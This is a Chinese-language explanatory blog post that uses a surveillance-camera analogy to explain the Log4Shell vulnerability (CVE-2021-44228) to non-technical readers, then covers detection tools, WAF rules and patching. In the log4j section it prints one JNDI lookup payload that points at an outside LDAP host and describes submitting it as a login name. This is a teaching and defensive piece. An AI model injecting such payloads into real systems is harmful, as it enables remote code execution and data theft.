從監視攝影機理解 Log4j 跟 Log4Shell 漏洞

（圖片來自於 Joe Gadd on Unsplash）

2021 年末資安界最大的新聞莫過於 Log4j 的漏洞，編號為 CVE-2021-44228，又被稱為 Log4Shell，甚至被一些人形容為「核彈級漏洞」，可見這個漏洞的影響程度之深遠。

關於技術上的分析已經有很多篇文章在講解了，但對於不懂技術的人來說，可能只知道這個漏洞很嚴重，卻不知道為什麼嚴重，也不知道原理到底是什麼，因此我想從讓非技術背景的人也能理解的角度出發，寫一篇比較白話的文章。

# 從監視攝影機談起

我有個朋友叫小明，他家是開雜貨店的。就跟其他商店一樣，在店裡有一支監視攝影機，怕有什麼消費糾紛或是有人來搶劫或偷東西，因此讓攝影機 24 小時全程錄影，真的發生什麼事了，就會有證據留存下來。

但攝影機的鏡頭角度有限，不可能把整間店面的影像都拍下來，就算真的都拍下來了，要存的資料也會太多（除非小明很有錢，買了一堆攝影機）。因此，攝影機只會對準一些非常重要、值得記錄下來的地方，像是收銀台等等。

原本這支攝影機用了十幾年都沒什麼事情，畢竟不就是把影像記錄起來嗎，能有什麼事情？但最近卻突然有人發現一個攝影機的隱藏功能（嚴格來講不是隱藏功能，因為攝影機的說明書上其實有提到，可是大家都懶得看那一百多頁的說明書，所以很少人知道這個功能）

這個功能是什麼呢？那就是除了錄影以外，這台監視攝影機還有個智慧圖片辨識的功能，如果它看到特定的影像，會根據影像的內容去執行相對應的動作。舉例來說好了，這個圖片辨識功能需要把指令寫在 100x100 的板子上，一定要黑底白字加上特定格式，像這個樣子：

當攝影機看到上面的圖，符合特定格式，就執行了上面的指令：「關機」，就真的關機了！但關機還沒什麼，指令還可以寫說「把攝影機資料全都給我」之類的，再者，攝影機本來就會即時連線到其他伺服器，這個指令也可以對那些伺服器做操作，例如說把上面的資料全都偷下來等等。

總之呢，一旦讓攝影機拍到指定格式的東西，就會幫你執行指令。

這個功能被爆出來以後，血流成河，因為太多地方都有監視攝影機了，因此許多人都帶著這個板子去看看會不會觸發這個功能。攝影機有分型號，只有一台叫做 log4j 的攝影機會出事，其他不會，但要注意的事情是有些攝影機它雖然不叫做這名字，可其實是從 log4j 作為基底改出來的，就一樣會出事。

而有些東西儘管不是攝影機也會出事，例如說有台智慧冰箱，號稱內部有微型攝影機可以即時監控冰箱內部狀況，恰巧這個微型攝影機就是 log4j 這個型號的攝影機改版出來的，所以也有同樣的問題。

你想想看，如果監視攝影機出了這個問題，那全台灣、全世界這麼多人用這個型號的監視攝影機，當然會引起軒然大波，只要讓攝影機拍到特定的東西就會執行指令，這可嚴重了。

以上是對於 log4j 漏洞的簡單比喻，在這個故事中雜貨店就像是你的網站，而攝影機的功能就是拿來紀錄（log）對於網站的那些請求（request），整個故事只要記兩個重點就好：

log4j 是拿來記錄東西用的
漏洞原理是只要紀錄某些特定格式的文字，就會觸發一個功能可以執行程式碼

白話的簡易比喻到這邊先結束，想要更了解 log4j，我們就必須先來看看什麼是 log。

# 有關於 log 這件事

log 的中文翻譯叫做日誌，我相信許多人對這個名詞並不陌生，如果你有跟工程師合作過，他在解決問題時可能會說：「我去看一下 log」；或是如果你們跟合作廠商各執一詞，他說 A 你們說 B，這時候就會說：「不然看一下 log 吧，看看是誰的問題」

當你跟公司的 IT 合作解決電腦上的小問題時，他也會跟你說要去某個地方複製 log 給他，他才知道發生了什麼事情。

log 就像是一台 24 小時全年無休的監視攝影機一樣，需要紀錄起重要事物的狀況。

那為什麼需要有 log 呢？這問題就像是「為什麼要有監視攝影機？」一樣，答案很簡單，因為出事的時候才有證據。就像行車記錄器一樣，裝了以後若不幸發生車禍，就可以協助判斷肇責。

舉個例子，假設我是 A 公司，我們公司是做購物網站的，而通常金流這一塊並不會自己做，而是會找其他做金流的廠商合作，在後端去「串接」金流服務商提供的功能，講白話一點就是：「當使用者要付款時，我把使用者導過去金流廠商的頁面，付款完再導回來我們網站」，相信有在網路上購物的大家應該很熟悉這個流程。

在這個過程中，雙方都必須留下紀錄，確保未來發生問題時有證據可以輔助說明。

例如說有天 A 公司突然接到一堆客訴說沒辦法付款，這時 A 公司直接打電話去金流商，罵說你們這什麼爛服務，怎麼突然壞掉，而金流商此時提供了伺服器的 log，說：「沒有啊，我們這邊從今天早上八點開始就沒有你們導過來的紀錄了，應該是你們的問題吧？」，後來 A 公司檢查了自己這邊的服務，確實是因為今天早上的版本更新出了問題而導致，跟金流商一點關係都沒有。

這就是 log 的重要性，當出事的時候你才有證據可以盤查，才能盡可能還原當初的狀況。

做開發者的大家都知道 log 很重要，所以 log 基本上是必備的，以網站後端來說，他可能會在交易發生錯誤時留下一筆 log，也有可能在發生非預期錯誤時寫下 log，或是用 log 紀錄 request 中的一些欄位，比如說瀏覽器版本好了，給自己公司內部的數據分析系統來使用。

因此 log 是個十分常見的功能。這也是為什麼如果這個功能出事了，造成的後果會非常嚴重。

# log4j 是什麼？

在寫網站後端的程式碼時，會有不同的程式語言可以選擇，例如說 Python、JavaScript、PHP 或是 Java 等等，而這些程式語言都會有些專門做 log 的套件，簡單來說就是有人已經幫你把功能都寫好了，你只要用就好了。

而 Java 有一個很好用的 log 套件，就叫做 log4j。而這個套件是隸屬於 Apache 軟體基金會底下，因此全名又叫做 Apache Log4j。

Apache 底下有很多不同的軟體跟套件，例如說：

Apache HTTP Server（大家最常看到的是這個）
Apache Cassandra
Apache Tomcat
Apache Hadoop
Apache Struts
...

所以 Apache Server 跟 Apache log4j 完全是不同的兩個東西，我知道你用 Apache Server，跟你有沒有用 log4j 是兩件事情。

這次出問題的套件就是 log4j，而出問題的原因跟我開頭講的一樣，有一個鮮為人知的功能有著安全性的漏洞，只要 log4j 在記錄 log 時記錄到某個特定格式的東西，就會去執行相對應的程式碼，就像開頭提的那個「關機」的板板一樣。

再講更詳細一點，其實並不是直接執行程式碼，那一段特定格式長得像這樣：

${jndi:ldap://cymetrics.io/test}

先不要管那些你看不懂的字，你可以很明顯看到裡面有一段東西很像網址，對，它就是網址，當 log4j 紀錄上面那一串字的時候，它發現這串字符合特定格式，就會去裡面的網址（cymetrics.io/test）下載程式碼然後執行，因此這是一個 RCE（Remote Code Execution，遠端程式碼執行）漏洞。

前面我有提過後端會記錄許多東西，假設今天有個後端服務是用 Java 寫的，而它用 log4j 記錄了使用者登入失敗時輸入的帳號，這時我只要用 ${jndi:ldap://cymetrics.io/test} 這個帳號登入，就能夠觸發 log4j 的漏洞，讓它執行我準備好的程式碼。

只要能執行程式碼，我就可以做很多事情，例如說把伺服器上的資料偷走，或是安裝挖礦軟體幫我挖礦等等。

# 為什麼這個漏洞如此嚴重？

第一，log4j 這個套件使用的人數極多，只要你有用 Java，幾乎都會用這個套件來紀錄 log

第二，觸發方式容易，你只要在 request 的各個地方塞滿這些有問題的字串，server 只要有記錄下來其中一個，就能夠觸發漏洞，而前面我們有提到紀錄 log 本來就是家常便飯的事情

第三，能造成的影響極大，漏洞被觸發之後就是最嚴重的 RCE，可以直接執行任意程式碼

結合以上這三點，讓它成了一個核彈級的漏洞。到底有多嚴重，看看這些新聞標題就知道：

還有一點差點忘了提，有許多其他的軟體也都用了 log4j 這個套件，因此也會有問題，國外有人整理出一份被影響的清單：Log4Shell log4j vulnerability (CVE-2021-44228 / CVE-2021-45046) - cheat-sheet reference guide，洋洋灑灑一大片，像是 Minecraft 這個遊戲的伺服器也有用到 log4j，所以也被這個漏洞給影響。

# 該怎麼知道我有沒有被這個漏洞影響？

可以先確認自己家的程式有沒有用到 log4j 這個套件以及套件的版本，也需要一併檢查有沒有使用上面那張清單列出來的其他軟體。

如果你是工程師，也可以用一些現有的工具檢測是否受到漏洞影響，像是：log4j-scan 或是 jfrog 提供的 log4j-tools 等等。

或如果真的不知道該如何處理，也可以聯絡我們，看我們可以怎樣幫助你。

# 該如何修補？

由瑞士 CERT 發表的這篇文章：Zero-Day Exploit Targeting Popular Java Library Log4j 中，有給了一張從各個環節去防禦的圖：

如果來不及把根本原因修掉，可以先上 WAF（Web Application Firewall），簡單來說就是針對網站的防火牆，把那些惡意的字串擋掉，例如說 Cloudflare 就在第一時間增加了 WAF 的規則加以阻擋，不過也有很多人在研究怎麼繞過 WAF 的規則，因此這是治標不治本的做法。

治本的方法就是把 log4j 停用或是升版，升級到不會被這個漏洞影響的版本，但有些時候第一時間的改版可能沒有把漏洞完全補掉，因此記得更新完以後還是要密切注意是否有更新的版本。例如說在這篇文章寫完後過沒多久，官方就釋出了第三個 patch 修復其他相關問題：Apache Issues 3rd Patch to Fix New High-Severity Log4j Vulnerability

# 結語

一個很多人用的套件，加上一個很常見的功能，再加上一個很簡單的攻擊方式以及嚴重的後果，就成了一個可以被載入史冊的漏洞。

文中有些比喻為了不要講得太細節，會是精簡過後的版本，不一定能完全涵蓋本來的漏洞，在轉換成故事比喻的過程中一定會有一些遺漏的部分，但對於整體的理解我覺得影響不大。

如果你想了解更技術的細節以及時間軸，很推薦這一支影片：Hackers vs. Developers // CVE-2021-44228 Log4Shell，裡面講得很清楚，也探討了開發者與資安從業人員的關係。

最後，希望這篇文章能讓不懂技術的大家更了解 log4shell 是怎樣的漏洞，以及這個漏洞為什麼如此嚴重。文中若有錯誤也請不吝留言指正，感謝。

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